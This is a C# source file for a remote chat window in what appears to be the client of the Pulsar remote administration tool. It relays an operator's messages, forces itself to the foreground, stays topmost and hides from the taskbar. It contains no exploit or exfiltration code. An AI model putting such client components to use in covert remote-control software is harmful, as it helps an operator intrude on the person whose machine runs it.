Files

163 lines
5.2 KiB
C#
Raw Permalink Normal View History

2026-08-27 10:57:58 -06:00
using Pulsar.Client.Utilities.DarkMode;
using Pulsar.Common.Messages.UserSupport.RemoteChat;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Pulsar.Client
{
public partial class FrmRemoteChat : Form
{
[DllImport("user32.dll")]
public static extern uint GetWindowThreadProcessId(IntPtr hWnd, IntPtr lpdwProcessId);
[DllImport("user32.dll")]
static extern bool SetForegroundWindow(IntPtr hWnd);
[DllImport("user32.dll")]
public static extern bool BringWindowToTop(IntPtr hWnd);
[DllImport("user32.dll")]
public static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach);
[DllImport("Kernel32.dll")]
public static extern uint GetCurrentThreadId();
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
private ISender _connectedClient;
public bool Active;
private static readonly IntPtr HWND_TOPMOST = new IntPtr(-1);
private const uint SWP_NOMOVE = 0x0002;
private const uint SWP_NOSIZE = 0x0001;
private const uint SWP_SHOWWINDOW = 0x0040;
public FrmRemoteChat(ISender client)
{
this._connectedClient = client;
InitializeComponent();
DarkModeManager.ApplyDarkMode(this);
Active = true;
txtMessage.KeyDown += new KeyEventHandler(txtMessage_KeyDown); // Subscribe to the KeyDown event
}
protected override CreateParams CreateParams
{
get
{
var cp = base.CreateParams;
cp.ExStyle |= 0x80;
return cp;
}
}
public void AddMessage(string sender, string message)
{
txtMessages.AppendText(string.Format("{0} {1}: {2}{3}", DateTime.Now.ToString("HH:mm:ss"), sender, message, Environment.NewLine));
ForceFocus();
}
private void FrmRemoteChat_FormClosing(object sender, FormClosingEventArgs e)
{
// Allow the form to close
}
public void ForceFocus()
{
var fThread = GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero);
var cThread = GetCurrentThreadId();
if (fThread != cThread)
{
AttachThreadInput(fThread, cThread, true);
BringWindowToTop(Handle);
AttachThreadInput(fThread, cThread, false);
}
else BringWindowToTop(Handle);
txtMessage.Focus();
}
private void FrmRemoteChat_Shown(object sender, EventArgs e)
{
txtMessage.Focus();
}
public string sendlol()
{
return txtMessage.Text.Trim();
}
public void SendMessageServer(ISender connectedClient, string message)
{
connectedClient.Send(new GetChat { Message = message });
}
private void txtMessage_KeyDown(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.Enter)
{
e.SuppressKeyPress = true; // Prevents the ding sound on pressing enter
Sendpacket_Click(this, new EventArgs()); // Call the Send method
}
}
private void Sendpacket_Click(object sender, EventArgs e)
{
try
{
if (txtMessage.Text.Trim() != "")
{
SendMessageServer(_connectedClient, txtMessage.Text.Trim());
AddMessage("Me", txtMessage.Text.Trim());
txtMessage.Text = "";
txtMessage.Focus();
}
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
}
private void FrmRemoteChat_FormClosed(object sender, FormClosedEventArgs e)
{
try
{
AddMessage("System", "Chat has been ended.");
SendMessageServer(_connectedClient, "Chat has been ended.");
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
}
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
protected override void OnShown(EventArgs e)
{
base.OnShown(e);
SetWindowPos(this.Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW);
}
protected override void WndProc(ref Message m)
{
base.WndProc(ref m);
const int WM_ACTIVATE = 0x0006;
const int WM_SHOWWINDOW = 0x0018;
if (m.Msg == WM_ACTIVATE || m.Msg == WM_SHOWWINDOW)
{
SetWindowPos(this.Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_SHOWWINDOW);
}
}
}
}